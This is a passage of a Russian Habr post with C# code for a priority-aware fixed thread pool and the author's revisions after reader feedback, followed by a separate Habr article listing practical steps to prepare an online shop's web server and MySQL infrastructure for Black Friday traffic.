private readonly object mTaskSchedulerLock = new object();
///
/// Счётчик задач с высоким приоритетом, запущенных на выполнение. Каждая запущенная задача
/// с высоким приоритетом увеличивает это значение на единицу, каждая запущенная задача с
/// обычным приоритетом уменьшает это значение на .
///
///
/// Синхронизация доступа должна выполняться по средствам использования методов класса
/// .
///
private int mQueuedHighPriorityTaskCounter;
#endregion
#region Nested type: TaskListEntry
///
/// Элемент списка задач.
///
///
/// Объекты после создания не изменяемы.
///
private struct TaskListEntry
{
#region Constructors
///
/// Инициализирует новый экземпляр элемента списка задач задачей и её приоритетом.
///
///
/// Задача.
///
///
/// Приоритет задачи.
///
public TaskListEntry(Task aTask, TaskPriority aTaskPriority)
{
mTask = aTask;
mTaskPriority = aTaskPriority;
}
#endregion
#region Public properties
///
/// Задача.
///
public Task Task
{
get { return mTask; }
}
///
/// Приоритет задачи.
///
public TaskPriority TaskPriority
{
get { return mTaskPriority; }
}
#endregion
#region Private data
private readonly Task mTask;
private readonly TaskPriority mTaskPriority;
#endregion
}
#endregion
}
```
**Task**
```
///
/// Задача для выполнения в .
///
public class Task
{
#region Constructors
///
/// Инициализирует новый экземпляр задачи для выполнения в
/// делегатом тела задачи.
///
///
/// Делегат тела задачи.
///
///
/// Делегат тела задачи не задан.
///
public Task(Action aTaskBody)
{
if (aTaskBody == null)
{
throw new ArgumentNullException("aTaskBody", "Делегат тела задачи не задан.");
}
TaskBody = aTaskBody;
}
#endregion
#region Public properties
///
/// Получает/устанавливает делегат тела задачи.
///
public Action TaskBody { get; private set; }
#endregion
#region Events
///
/// Событие, сообщающее о завершении выполнения задачи.
///
public event EventHandler Finished;
#endregion
#region Public methods
///
/// Начинает выполнение задачи.
///
public void Execute()
{
Thread lTaskThread =
new Thread(
() =>
{
// Выполнить задачу.
TaskBody();
// Уведомить об её окончании.
EventHandler lFinished = Finished;
if (lFinished != null)
{
lFinished(this, EventArgs.Empty);
}
}) {Name = "Task thread."};
lTaskThread.Start();
}
#endregion
}
```
**TaskPriority**
```
///
/// Приоритет задачи.
///
public enum TaskPriority
{
///
/// Высокий приоритет.
///
High = 0,
///
/// Обычный приоритет.
///
Normal,
///
/// Низкий приоритет.
///
Low
}
```
#### Работа над ошибками
Спасибо большое за комментарии и конструктивную критику. Я решил, что тема будет не закрыта, если не опубликовать исправленное решение. Для начала перечислю рекомендации и опишу какие вошли в код, а какие нет, и почему.
* **Создание потока — операция очень затратная. Пул потоков нужен для того, чтобы хранить в нём несколько уже созданных потоков.** Это было моей главной ошибкой и, судя по всему, именно это вызвало столь негативную реакцию со стороны технического специалиста, проверяющего моё решение. Я просто слишком сконцентрировался на условиях задачи и проглядел требование, которое следовало из самого названия класса. Спасибо, [Unrul](http://habrahabr.ru/users/unrul/), [iaroshenko](http://habrahabr.ru/users/iaroshenko/). Теперь я создаю необходимое количество потоков в конструкторе пула. Класс Task больше не занимается созданием потоков.
* **Поток планировщика не нужен.** Действительно, после того, как создание потока было перенесено из класса задачи в класс пула, стало возможно переложить функцию извлечения задач из очереди на сами потоки. Спасибо, [iaroshenko](http://habrahabr.ru/users/iaroshenko/), [romik](http://habrahabr.ru/users/romik/).
* **В интерфейсе Task не должно быть event.** Поскольку класс задачи больше не занимается созданием потоков, событие окончания обработки задачи теперь действительно не нужен. Спасибо, [Nagg](http://habrahabr.ru/users/nagg/).
* **Блокировку на IsStopped можно заменить обычным volatile поле.** С этим я не согласен. Несмотря на утверждение MSDN о том, что благодаря модификатору volatile читающий значение такого поля код будет получать самое актуальное значение, это не так. На самом деле, если говорить упрощённо, volatile позволяет гарантировать то, что компилятор, CLR и процессор не поменяют местами чтение/запись в volatile поле и другие поля. [Более подробно можно почитать здесь](http://www.albahari.com/threading/part4.aspx#_Memory_Barriers_and_Volatility). Однако в моём случае блокировка IsStopped нужна для другого. Без неё потенциально возможно, что в очередь попадёт новая задача после фактической остановки пула, а также возможен случай, когда поток задачи останется в состоянии ожидания, не смотря на то, что был дан сигнал завершения. В любом случае, небольшая перестраховка в многопоточном коде никогда не повредит. Это лучше, чем потом ловить нерегулярные ошибки. Не стану с пеной у рта защищать это решение. Если кто сможет опровергнуть мой довод на основе кода, буду признателен. Спасибо, [elw00d](http://habrahabr.ru/users/elw00d/).
* **Очередь с приоритетами реализовать отдельно от логики собственно ThreadPool'а.** Этого я тоже не стал делать. Фактически пул содержит не так много кода, там больше комментариев и логгирования. Но, тем не менее, основная причина не в этом. Представьте, что условие отбора изменилось. Или же нужно обеспечить возможность настройки принципа выбора следующей задачи в момент создания экземпляра пула. Придётся создавать новый класс сортированной коллекции (очереди) и, соответственно, плодить по числу классов коллекций классы пулов. Это неправильное решение. В данном случае будет лучше вынести алгоритм выбора следующей задачи в отдельный класс, реализовав шаблон Strategy. Объект «отборщика» в таком случае будет передаваться в конструктор. Но я не буду усложнять своё решение, так как по условию задачи это не требуется. Спасибо, [elw00d](http://habrahabr.ru/users/elw00d/).
* **Interlocked-методы тоже неясно зачем (если уже используются мониторы и event'ы).** Эту часть я тоже не стал трогать. Interlocked-методы позволяют избежать нарушение условий отбора задач с приоритетами High и Normal. Поскольку нет блокировок на доступ к счётчику mQueuedHighPriorityTaskCounter я предпочёл на всякий случай перестраховаться, использовав Interlocked-методы. Возможно более глубокий анализ кода выявит мою неправоту, но как я уже говорил, я не самый большой специалист в многопоточности и предпочитаю подстелить соломку, тем более когда она стоит дёшево. Спасибо, [elw00d](http://habrahabr.ru/users/elw00d/).
* **Было бы очень интересно, если бы автор решил озвученные в комментариях недочеты и снова отправил в Связной обновленную версию решения.** К коду это конечно имеет лишь опосредованное отношение, но тем не менее. Думаю, я не стану отправлять исправленное решение в Связной. Это будет нечестно, поскольку я воспользовался вашей помощью. Скорее всего, я отправлю им ссылку на эту статью, а там пусть сами решают нужен ли им «уже готовый специалист» или подходит человек, который умеет признавать свои ошибки и развиваться, двигаться дальше. Спасибо за поддержку, @ARC\_Programmer.
[Тестовый проект с исправлениями можно загрузить здесь.](http://ifolder.ru/31030998) Исправленный код:
**FixedThreadPool**
```
// Проект: Eshva.Threading
// Имя файла: FixedThreadPool.cs
// GUID файла: 7F1EECB7-F28A-4A20-9536-26D174BCD437
// Автор: Mike Eshva (mike@eshva.ru)
// Дата создания: 04.06.2012
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Threading;
namespace Eshva.Threading.Framework
{
///
/// Пул потоков, выполняющий одновременно не более определённого количество задач с учётом их
/// приоритетов.
///
///
/// Тестовый проект для компании Связной.
///
public sealed class FixedThreadPool
{
#region Constructors
///
/// Инициализирует новый экземпляр пул потоков максимальным количеством одновременно
/// выполняемых задач.
///
///
/// Максимальное количество одновременно выполняемых задач.
///
///
/// Сервис логгирования.
///
///
/// Лог для вывода приоритета отобранной для выполнения задачи.
///
///
/// Неправильно заданное максимальное количество одновременно выполняемых задач.
///
public FixedThreadPool
(int aConcurrentTaskNumber, ILog aLog = null, ILog aPriorityLog = null)
{
if (aConcurrentTaskNumber <= 1)
{
throw new ArgumentOutOfRangeException(
"aConcurrentTaskNumber",
"Количество одновременно выполняемых задач должно быть больше единицы.");
}
Log = aLog;
PriorityLog = aPriorityLog;
for (int lThreadIndex = 0; lThreadIndex < aConcurrentTaskNumber; lThreadIndex++)
{
string lThreadName = string.Format("Task thread #{0}", lThreadIndex);
Thread lTaskThread = new Thread(TaskThreadLogic) {Name = lThreadName};
lTaskThread.Start();
}
}
#endregion
#region Public methods
///
/// Ставит задачу в очередь на выполнение с приоритетом
/// .
///
///
/// Задача для постановки в очередь на выполнения..
///
///
/// Приоритет задачи.
///
///
/// - задача поставлена в очередь на выполнение.
/// - задача не была поставлена в очередь на выполнение, так как
/// работа пула потока была остановлена.
///
///
/// Задача для постановки в очередь на выполнения не задана.
///
public bool Execute(Task aTask, TaskPriority aTaskPriority)
{
if (aTask == null)
{
throw new ArgumentNullException(
"aTask", "Задача для постановки в очередь на выполнения не задана.");
}
LogMessage("Получена новая задача для выполнения.");
lock (mIsStoppedLock)
{
if (IsStopped)
{
// Запрошена остановка.
LogPriority(aTaskPriority, ConsoleColor.DarkGray);
// Отклонять новые задачи.
return false;
}
}
// Добавить задачу в очередь.
EnqueueTask(aTask, aTaskPriority);
LogMessage("Задача добавлена в очередь задач.", ConsoleColor.DarkYellow);
return true;
}
///
/// Останавливает добавлении задач в очередь пула потоков, очередь не очищается. Возвращает
/// выполнение только после окончания всех имеющихся задач в очереди.
///
///
/// После вызова этого метода дальнейшее добавление задач в очередь на выполнение не
/// возможно и метод будет возвращать .
/// Имеющиеся, на момент выполнения этого метода, задачи в очереди будут выполнены.
///
public void Stop()
{
// Выставить признак окончания работы пула.
lock (mIsStoppedLock)
{
IsStopped = true;
LogMessage("Запрошена остановка пула.");
}
// Дождаться окончания выполнения всех задач, оставшихся в очереди.
LogMessage(
"Начато ожидание завершения выполнения всех оставшихся задач в очереди.",
ConsoleColor.DarkRed);
lock (mTaskSchedulerLock)
{
// Сигнализировать об изменении в условии блокировки по mTaskSchedulerLock.
Monitor.PulseAll(mTaskSchedulerLock);
}
mPoolStoppedGate.WaitOne();
LogMessage("Дождались окончания выполнения всех задач в очереди.", ConsoleColor.DarkRed);
}
#endregion
#region Private properties
///
/// Получает/устанавливает признак того, остановлена ли работа пула.
///
///
/// - работа пула остановлена, дальнейшее добавление задач в очередь
/// не возможно. - работа пула продолжается.
///
///
/// Объект синхронизации доступа .
///
private bool IsStopped { get; set; }
///
/// Получает/устанавливает сервис логгирования приоритета задачи.
///
private ILog PriorityLog { get; set; }
///
/// Получает/устанавливает сервис логгирования сообщений.
///
private ILog Log { get; set; }
#endregion
#region Private methods
private void TaskThreadLogic()
{
lock (mTaskSchedulerLock)
{
while (true)
{
// Отпускаем монитор и ждём сигнала, поданного через mTaskSchedulerLock.
Monitor.Wait(mTaskSchedulerLock);
lock (mQueuedTasksLock)
{
if (!mQueuedTasks.Any())
{
lock (mIsStoppedLock)
{
if (IsStopped)
{
LogMessage(
"Запрошена остановка пула и больше нет задач в очереди на выполнение.");
LogMessage("Планировщик - Выход из потока планировщика.");
// Сигнализировать об окончании выполнения последней задачи.
mPoolStoppedGate.Set();
return;
}
}
// Задач в очереди нет, но не было запроса на остановку пула.
// Ждём дальше появления задач.
continue;
}
}
LogMessage(
"Дождались появления задачи в очереди задач.",
ConsoleColor.DarkRed);
// Дождаться и получить следующую задачу для выполнения.
TaskListEntry lTask = DequeueTask();
LogMessage("Планировщик - Получена новая задача для выполнения.");
switch (lTask.TaskPriority)
{
case TaskPriority.High:
Interlocked.Increment(ref mQueuedHighPriorityTaskCounter);
break;
case TaskPriority.Normal:
Interlocked.Add(
ref mQueuedHighPriorityTaskCounter, -HighPriorityTaskFactor);
break;
}
// Запустить задачу на выполнение.
lTask.Task.Execute();
LogMessage(
string.Format(
"Планировщик - Запущена задача с приоритетом {0}.",
lTask.TaskPriority),
ConsoleColor.DarkYellow);
lock (mQueuedTasksLock)
{
lock (mIsStoppedLock)
{
if (IsStopped &&
!mQueuedTasks.Any())
{
LogMessage(
"Запрошена остановка пула и больше нет задач в очереди на выполнение.");
LogMessage("Планировщик - Выход из потока планировщика.");
// Сигнализировать об окончании выполнения последней задачи.
mPoolStoppedGate.Set();
return;
}
}
}
}
}
}
///
/// Добавляет задачу в очередь задач на выполнение.
///
///
/// Задача, добавляемая в очередь задач на выполнение.
///
///
/// Приоритет задачи.
///
private void EnqueueTask(Task aTask, TaskPriority aTaskPriority)
{
TaskListEntry lEntry = new TaskListEntry(aTask, aTaskPriority);
LogPriority(aTaskPriority, ConsoleColor.Green);
lock (mQueuedTasksLock)
{
// Добавить задачу в очередь задач на выполнение.
mQueuedTasks.Add(lEntry);
LogMessage(
string.Format(
"В очередь добавлена задача с приоритетом {0}", lEntry.TaskPriority),
ConsoleColor.Green);
// Поднять барьер доступа к очереди задач.
LogMessage("Поднять барьер доступа к очереди задач.", ConsoleColor.DarkRed);
}
lock (mTaskSchedulerLock)
{
// Сигнализировать об изменении в условии блокировки по mTaskSchedulerLock.
Monitor.Pulse(mTaskSchedulerLock);
}
}
///
/// Ожидает появления в очереди задач хотя бы одной задачи. Дождавшись изымает следующую
/// задачу из очереди, учитывая правила приоритетов.
///
///
/// Задача, изъятая из очереди задач на выполнение.
///
private TaskListEntry DequeueTask()
{
TaskListEntry lNextTask;
lock (mQueuedTasksLock)
{
lNextTask = FindNextTaskUsingPriorityRules();
LogPriority(lNextTask.TaskPriority, ConsoleColor.Red);
LogMessage(
string.Format(
"Получена задача из очереди задач с приоритетом {0}.",
lNextTask.TaskPriority),
ConsoleColor.DarkRed);
mQueuedTasks.Remove(lNextTask);
}
lock (mTaskSchedulerLock)
{
// Сигнализировать об изменении в условии блокировки по mTaskSchedulerLock.
Monitor.Pulse(mTaskSchedulerLock);
}
return lNextTask;
}
///
/// Находит следующую задачу с учётом правил приоритезации.
///
///
/// Найденная следующая задача для выполнения.
///
///
/// ЗАМЕЧАНИЯ ПО ПРАВИЛАМ ПРИОРИТЕЗАЦИИ: Полученные мной правила выбора следующей задачи
/// определены в задании не полностью. В частности, не было сказано что делать, если в
/// очереди задач есть только задачи с обычным приоритетом. Также не определено, что нужно
/// делать, если было выполнено больше, чем три задачи с высоким приоритетом. Поэтому я
/// додумал эти правила, исходя из предположения, что лучше пусть выполняется хоть что-то,
/// чем ждать появления задач с каким-то определённым приоритетом.
///
private TaskListEntry FindNextTaskUsingPriorityRules()
{
TaskListEntry lNextTask;
lock (mQueuedTasksLock)
{
Debug.Assert(
mQueuedTasks.Count > 0,
"Метод FindNextTaskUsingPriorityRules не должен вызываться, если очередь задач пуста.");
// По умолчанию будет выполняться задача с высоким приоритетом.
TaskPriority lNextTaskPriority = TaskPriority.High;
// Проверить возможность выполнения задачи с более низкими приоритетами.
if (mQueuedTasks.All(aEntry => aEntry.TaskPriority == TaskPriority.Low))
{
// В очереди задач все задачи с низким приоритетом.
// Следующая задача будет с низким приоритетом.
lNextTaskPriority = TaskPriority.Low;
}
else
{
// Условие для задач с низким приоритетом не выполняется.
if (mQueuedTasks.Any(
aEntry => aEntry.TaskPriority == TaskPriority.Normal) &&
(mQueuedTasks.All(
aEntry => aEntry.TaskPriority != TaskPriority.High) ||
Interlocked.CompareExchange(ref mQueuedHighPriorityTaskCounter, 0, 0) >=
HighPriorityTaskFactor))
{
// В списке задач на выполнение есть задачи с обычным приоритетом и
// выполнено достаточное количество задач с высоким приоритетом или
// в очереди задач все задачи имеют приоритет ниже высокого.
// Следующая задача будет с обычным приоритетом.
lNextTaskPriority = TaskPriority.Normal;
}
}
lNextTask = mQueuedTasks.First(
aEntry => aEntry.TaskPriority == lNextTaskPriority);
}
return lNextTask;
}
///
/// Выводит сообщение в лог.
///
///
/// Сообщение.
///
///
/// Цвет сообщения.
///
private void LogMessage(string aMessage, ConsoleColor aColor = ConsoleColor.Yellow)
{
if (Log == null)
{
return;
}
Log.WriteMessage(aMessage, aColor);
}
///
/// Выводит приоритет задачи в лог.
///
///
/// Приоритет задачи.
///
///
/// Цвет сообщения.
///
private void LogPriority(TaskPriority aTaskPriority, ConsoleColor aColor)
{
if (PriorityLog == null)
{
return;
}
string lPriority = aTaskPriority == TaskPriority.High
? "H"
: aTaskPriority == TaskPriority.Normal ? "N" : "L";
PriorityLog.WriteMessage(lPriority, aColor);
}
#endregion
#region Private data
///
/// Количество задач с высоким приоритетом, которое должно быть поставлено в очередь до
/// того, как можно будет поставить задачу с обычным приоритетом, если в очереди имеются
/// задачи с высоким приоритетом.
///
private const int HighPriorityTaskFactor = 3;
///
/// Объект синхронизации доступа к свойству .
///
private readonly object mIsStoppedLock = new object();
///
/// Барьер остановки работы пула. Поднимается, когда запрошена остановка и все задачи
/// завершили своё выполнение.
///
private readonly ManualResetEvent mPoolStoppedGate = new ManualResetEvent(false);
///
/// Список задач, поставленных в очередь на выполнение.
///
///
/// Объект синхронизации доступа .
///
private readonly IList mQueuedTasks = new List();
///
/// Объект синхронизации доступа к списку задач .
///
private readonly object mQueuedTasksLock = new object();
///
/// Объект синхронизации, используемый для блокировки/запуска потока планировщика.
///
private readonly object mTaskSchedulerLock = new object();
///
/// Счётчик задач с высоким приоритетом, запущенных на выполнение. Каждая запущенная задача
/// с высоким приоритетом увеличивает это значение на единицу, каждая запущенная задача с
/// обычным приоритетом уменьшает это значение на .
///
///
/// Синхронизация доступа должна выполняться по средствам использования методов класса
/// .
///
private int mQueuedHighPriorityTaskCounter;
#endregion
#region Nested type: TaskListEntry
///
/// Элемент списка задач.
///
///
/// Объекты после создания не изменяемы.
///
private struct TaskListEntry
{
#region Constructors
///
/// Инициализирует новый экземпляр элемента списка задач задачей и её приоритетом.
///
///
/// Задача.
///
///
/// Приоритет задачи.
///
public TaskListEntry(Task aTask, TaskPriority aTaskPriority)
{
mTask = aTask;
mTaskPriority = aTaskPriority;
}
#endregion
#region Public properties
///
/// Задача.
///
public Task Task
{
get { return mTask; }
}
///
/// Приоритет задачи.
///
public TaskPriority TaskPriority
{
get { return mTaskPriority; }
}
#endregion
#region Private data
private readonly Task mTask;
private readonly TaskPriority mTaskPriority;
#endregion
}
#endregion
}
}
```
**Task**
```
// Проект: Eshva.Threading
// Имя файла: Task.cs
// GUID файла: 292467E7-4816-4407-BB9B-3309D13C8614
// Автор: Mike Eshva (mike@eshva.ru)
// Дата создания: 04.06.2012
using System;
namespace Eshva.Threading.Framework
{
///
/// Задача для выполнения в .
///
public class Task
{
#region Constructors
///
/// Инициализирует новый экземпляр задачи для выполнения в
/// делегатом тела задачи.
///
///
/// Делегат тела задачи.
///
///
/// Делегат тела задачи не задан.
///
public Task(Action aTaskBody)
{
if (aTaskBody == null)
{
throw new ArgumentNullException("aTaskBody", "Делегат тела задачи не задан.");
}
TaskBody = aTaskBody;
}
#endregion
#region Public methods
///
/// Начинает выполнение задачи.
///
public void Execute()
{
TaskBody();
}
#endregion
#region Private properties
///
/// Получает/устанавливает делегат тела задачи.
///
private Action TaskBody { get; set; }
#endregion
}
}
``` | https://habr.com/ru/post/145551/ | null | ru | null |
# 10 очевидных шагов для подготовки инфраструктуры интернет-магазина к Чёрной пятнице
Несмотря на то, что мы предпочитаем писать про микросервисы, [Kubernetes](https://habrahabr.ru/company/flant/blog/341760/) и прочее из области cloud native, нам хорошо известен и другой мир — гораздо более реальный, если посмотреть «в массе», например, на интернет-магазины (даже весьма успешные). В нём нет автоматического provisioning и масштабирования, сложной балансировки нагрузки и прочих красивых технических решений. Зато есть «Чёрная пятница», которая уже завтра, а значит — времени на подготовку практически не осталось. Конечно, наш рецепт №1 по качественной подготовке к ней (а заодно и получению целого букета дополнительных плюсов) — миграция на микросервисную архитектуру и Kubernetes, но предположим, что по какой-то причине этот вариант не подходит (до завтра его всё равно не реализовать).
Эта статья — список более-менее быстрых действий для оптимизации типовой инфраструктуры интернет-магазина (рассматриваются примеры с nginx, Apache, PHP, MySQL) с целью её подготовки к высоким нагрузкам. Они могут быть весьма очевидны для опытных системных администраторов, однако наверняка окажутся полезными для тех, кто глубоко ещё не погружался в эти вопросы, а их актуальность стремительно нарастает. Итак, попробуем выжать максимум из того, что есть в инфраструктуре, или хотя бы взять на заметку те основные вопросы, которыми стоит озаботиться перед следующими всплесками нагрузки.
1. Разбейте инфраструктуру и настройте мониторинг
-------------------------------------------------
Не имея средств отслеживания даже **базовых показателей нагрузки** (CPU, память, дисковый ввод/вывод, занятость интернет-канала и т.п.), действия по оптимизации будут во многом осуществляться «вслепую».
Если вся инфраструктура представляется одним неподъёмным монолитом, когда ключевые службы (веб-сервер, СУБД, вспомогательные сервисы) не **разбиты по отдельным серверам/виртуальным машинам**, то начинать нужно с её соответствующей реорганизации. Это сделает собираемую статистику гораздо более наглядной и полезной: переключаясь между основными графиками разных виртуальных машин, станет ясно, каким компонентам инфраструктуры не хватает процессора или памяти.
***Примечание**: Пример дополнительного преимущества такого разграничения — **закончившиеся ресурсы для СУБД приведут не к полной недоступности сайта** (когда веб-сервер вообще не отвечает), а к выдаче информативной ошибки (или даже минимально функциональной заглушки — подробнее см. ниже). Для этого, правда, понадобится ещё корректно настроить взаимодействие приложения/веб-сервера с СУБД: подключение к СУБД и получение данных не должно быть слишком долгим, т.к. иначе это приведёт к появлению множества «зависших» (в ожидании) процессов веб-сервера (и, возможно, превышению максимального числа его процессов) и забиванию ресурсов соответствующего сервера/ВМ.***Как это решается?***В простейшем случае для Apache, PHP и MySQL необходимо подобрать разумное значение `max_connections`, близкое к максимально возможному числу одновременных процессов веб-сервера + других источников обращений (cron-скриптов). Если это значение будет слишком маленьким, то даже нетребовательные к ресурсам запросы к СУБД перестанут выполняться, а если слишком много — оперативная память в один момент может закончиться. Отчасти в этом поможет использование легендарного скрипта [mysqltuner.pl](https://github.com/major/MySQLTuner-perl).
Дополнительно для борьбы с «висящими» процессами стоит обратить внимание на директиву `mysql.connect_timeout` в PHP (`/etc/php5/apache2/php.ini`) и системную переменную `wait_timeout` в MySQL. Разумеется, помимо настройки таймаутов в сервисах необходимо предусмотреть их корректную обработку приложением, чтобы в случае их срабатывания выводилась правильная заглушка или производились какие-то другие действия.*
Очевидное и готовое (быстрое в развёртывании, хорошо документированное) Open Source-решение для статистики и мониторинга ключевых системных показателей (как минимум нужно оперативно узнавать о заканчивающихся ресурсах) — [**Zabbix**](https://www.zabbix.com/). Как и все другие продукты, он не идеален, и существует ряд альтернатив *(например, [таких](https://www.linuxtechi.com/open-source-server-network-monitoring-tools-for-linux/))*, но для решаемых задач отлично подходит *(и, пожалуй, можно говорить, что в значительной степени он укрепился как стандарт де-факто)*.
По-хорошему, конечно, помимо графиков общих системных показателей полезно настроить более полезные для бизнеса значения (от количества обрабатываемых запросов к динамическому контенту до числа совершаемых заказов).
Альтернативный путь — готовые сервисы, с которыми может быть проще и удобнее в установке и использовании, но за это придётся платить *(пример — разрабатываемый в России [okmeter](https://okmeter.io/))*.
К мониторингу основных значений, собираемых выбранной системой, полезно добавить **отслеживание доступности ключевых страниц** (корректный ответ веб-сервера и разумное время отклика), чтобы узнавать о проблемах в функционировании интернет-магазина до момента спада продаж. В упомянутом Zabbix такие возможности, конечно, [предусмотрены](https://www.zabbix.com/documentation/3.4/manual/web_monitoring).
2. Проверьте нагрузку
---------------------
Логичное следствие внедрения системы мониторинга и статистики — её «проверка боем», т.е. нагрузочным тестированием. Для этих целей тоже существует множество Open Source-средств: от классического и простейшего [**ab**](https://httpd.apache.org/docs/2.4/programs/ab.html) до более сложных решений вроде [Apache JMeter](http://jmeter.apache.org/) *(вот [краткий обзор](http://xmodulo.com/web-server-benchmarking-tools-linux.html) некоторых из них)*. Для самого простого и быстрого тестирования можно прибегнуть к упомянутой утилите ab, а в качестве более универсального, комплексного инструмента посоветуем российскую разработку — [**Яндекс.Танк**](https://tech.yandex.ru/tank/) *(см. [пример её использования](https://habrahabr.ru/company/yandex/blog/202446/) от создателей)*.
В идеале тестировать нужно **всё, что действительно критично** для бизнеса интернет-магазина: главную страницу, разделы каталога, просмотр товара, его заказ (с регистрацией пользователя) и т.п. Тестирование одной страницы (например, главной) поможет выявить глобальные проблемы (используемые повсеместно SQL-запросы или тот факт, что общая нагрузка так высока, что динамическая отдача страниц перестаёт работать в принципе), однако скроет более частные проблемы, связанные с SQL-запросами к конкретным таблицам (или просто с конкретными запросами), использованием в коде дополнительных механизмов и служб (например, отправка электронной почты пользователю или получение данных из какого-то стороннего сервиса/кэша) и т.п.
В проведении нагрузочного тестирования поможет и настроенная на предыдущем этапе система статистики/мониторинга, т.к. вы сможете посмотреть на графики потребления ресурсов (и на основе этих данных оценить потенциал инфраструктуры по максимальному трафику), а также убедиться в срабатывании мониторинга, когда ситуация становится критичной.
Актуальность следующих шагов во многом будет зависеть от результатов нагрузочного тестирования.
3. Разберитесь со статикой
--------------------------
Если вдруг у вас все запросы обслуживает условный Apache (а практика показывает, что такое действительно бывает), добавьте перед ним (в качестве фронтенда) легковесный веб-сервер — например, конечно, [**nginx**](http://nginx.org/) — для более быстрой отдачи статического контента (изображений, JS, CSS, файлов шрифтов, видео и т.п.).
Даже если вы думаете, что у вас уже всё настроено, убедитесь в этом, просмотрев access-логи веб-сервера приложения (Apache). Как правило, достаточно несложных конструкций с `grep` или `egrep`, отбирающих GET-запросы с успешным статусом (не 404) и отсечением принятых у вас URL'ов для динамического контента (например, оканчивающихся на `/` или `.html`, или не имеющих в своём конце чего-нибудь вроде `\.[^.]{2,4}`). Очень часто выясняется, что далеко **не всю статику отдаёт nginx**, а это больше постоянно запущенных процессов Apache (приближение к лимиту `MaxClients`) и дополнительно потребляемые ресурсы.
Другой нюанс со статикой — её объёмы в масштабах интернет-канала сайта. Показатель проверяется с помощью данных из вашей статистики (графики с сетевым трафиком). Даже если при предполагаемой (высокой) нагрузке имеющегося канала должно хватить на отдачу всей статики, хорошим тоном будет **оптимизировать графические файлы и минимизировать JS/CSS-файлы** хотя бы на ключевых страницах интернет-магазина. Обнаружить/проверить эти и другие «клиентские» проблемы поможет [**Google PageSpeed Insights**](https://developers.google.com/speed/pagespeed/).
Если же трафика будет много и расширить канал невозможно (или слишком трудоёмко/дорого), стоит рассмотреть вариант внедрения CDN.
4. Найдите узкие места
----------------------
Время разобраться с проблемными местами в работе самого веб-приложения. Короткий путь здесь — это регистрация trial-аккаунта в [**New Relic**](https://newrelic.com/) (выдаётся бесплатно на 2 недели), установка его агентской части на стороне веб-сервера, первичный сбор данных о нагрузке (можно ускорить этот процесс запуском нагрузочного тестирования, возможно, менее «агрессивного») и их анализ.
Обратите внимание на самые медленные транзакции (особенно самые часто встречающиеся).
Что конкретно в них тормозит (выполняется заметно дольше остального)? Если это конкретные части кода, то как их можно оптимизировать? Если SQL-запросы, то поработайте с СУБД *(см. пункт 6)*. Если внешние сервисы — сведите их использование к минимуму и/или по возможности закэшируйте получаемые результаты (прямо при пользовательских запросах в коде приложения или же вызовом по cron дополнительных скриптов, периодически получающих нужные данные из сервисов и сохраняющих их локально).
5. Оптимизируйте веб-сервер
---------------------------
Общую производительность кода могут повысить вспомогательные средства, такие как [**акселераторы для PHP**](https://en.wikipedia.org/wiki/List_of_PHP_accelerators), принцип работы которых заключается в кэшировании скомпилированного кода (opcode/bytecode) исполняемых файлов приложения. Для старых PHP (5.x) сохраняет актуальность [APC](http://php.net/manual/en/book.apc.php) (пусть и официально признанный «мёртвым»), а для более свежих версий (7.x) — встроенный [Zend OPcache](http://php.net/manual/en/book.opcache.php), который тоже ещё следует настроить.
Другая область глобальной оптимизации в случае PHP — это **сессии**. По-прежнему многие используют стандартную настройку `session.save_handler = files`, то есть сохранение сессий в файлы. При большом количестве посетителей сайта (а значит — и сессий, и файлов) это приводит к необоснованной нагрузке на диск, которая чудесным образом снимается переходом на NoSQL-хранилище вроде memcached, помещающее все сессии в оперативную память.
Самый же радикальный путь оптимизации работы веб-сервера — **кэширование страниц**, единожды в n минут сгенерированных интерпретатором языка программирования. Эта возможность актуальна для тех страниц, которые: 1) могут быть неизменными хотя бы какое-то время (например, допускается, чтобы блок «случайных товаров» сгенерировался движком один раз на 1-2 минуты для всех пользователей), 2) одинаковы для всех пользователей. Второе условие не так критично в том смысле, что кэширование можно настроить так, чтобы попросту исключить аутентифицированных пользователей. В таком случае готовые (закэшированные) страницы будут отображаться всем посетителям-«гостям» (а их всегда большинство, причём обычно — подавляющее), а для аутентифицированных будут «честно» генерироваться динамические страницы. Кэш можно настроить в nginx, но есть для этих нужд и более специализированное Open Source-решение — [**Varnish HTTP Cache**](https://varnish-cache.org/).
Грамотная настройка кэширования основных групп страниц веб-сайта часто приносит просто фантастический результат, потому что ответом на основную часть запросов становится выдача статики — готовых данных из оперативной памяти без необходимости задействовать для этого веб-сервер (с интерпретатором языка программирования) и СУБД. Убедитесь в этом с помощью нагрузочного тестирования после настройки кэширующего сервера, но уделите особое внимание составлению условий кэширования, чтобы никакие критичные функции интернет-магазина (добавление продукта в корзину, его последующий заказ, регистрация пользователей…) не сломались.
6. Оптимизируйте СУБД
---------------------
Оптимизацию производительности СУБД можно условно разделить на две части: 1) общая конфигурация на стороне самой СУБД, 2) работа над своими схемами и запросами.
Первый пункт подразумевает **настройку буферов и других глобальных параметров** в СУБД. Самые важные из них для MySQL можно увидеть на этом замечательном слайде из [презентации Петра Зайцева](https://habrahabr.ru/company/oleg-bunin/blog/328458/) (CEO Percona):
С более детальным анализом этих системных переменных и некоторых других (критичных для вопросов производительности MySQL/MariaDB) можно ознакомиться, например, в [этой заметке от MariaDB](https://mariadb.com/resources/blog/20-tips-prepare-your-database-black-friday-cyber-monday).
Вторая область — схема БД и используемые SQL-запросы — обычно начинается с **анализа медленных запросов** ([slow query log](https://dev.mysql.com/doc/refman/5.7/en/slow-query-log.html) в MySQL) или же специализированных инструментов для обнаружения проблем производительности, таких как упомянутый New Relic. Львиная часть проблем, как правило, решается добавлением правильных индексов и вдумчивым разбором SQL-запросов (с последующей их оптимизацией или изменениями в схеме).
Дополнительным решением для быстрого получения данных, которые всё равно долго доставать из СУБД, может быть **кэширование результатов** частых/сложных операций, например, в NoSQL-хранилище. Как и в других случаях, надо не забывать при этом следить за актуальностью данных в кэше.
7. Оптимизируйте движок
-----------------------
Если ваш интернет-магазин использует популярный фреймворк или движок, помните, что это означает наличие сообщества и документации — от компании-производителя или пользователей/энтузиастов. **Найдите в сети лучшие практики** по оптимизации применяемого решения и по возможности реализуйте их. Предлагаемые в таких практиках советы обычно затрагивают разные области: от настройки движка/приложения и использования готовых средств (панель производительности, оптимизирующие плагины и т.п.) до внесения изменений в инфраструктуру.
Если в движке используется **второстепенная функциональность**, которая создаёт заметную нагрузку на сервер или СУБД, отключите её на время пиков: пусть лучше пользователь не получит некоторых функций, чем не получит вообще ничего.
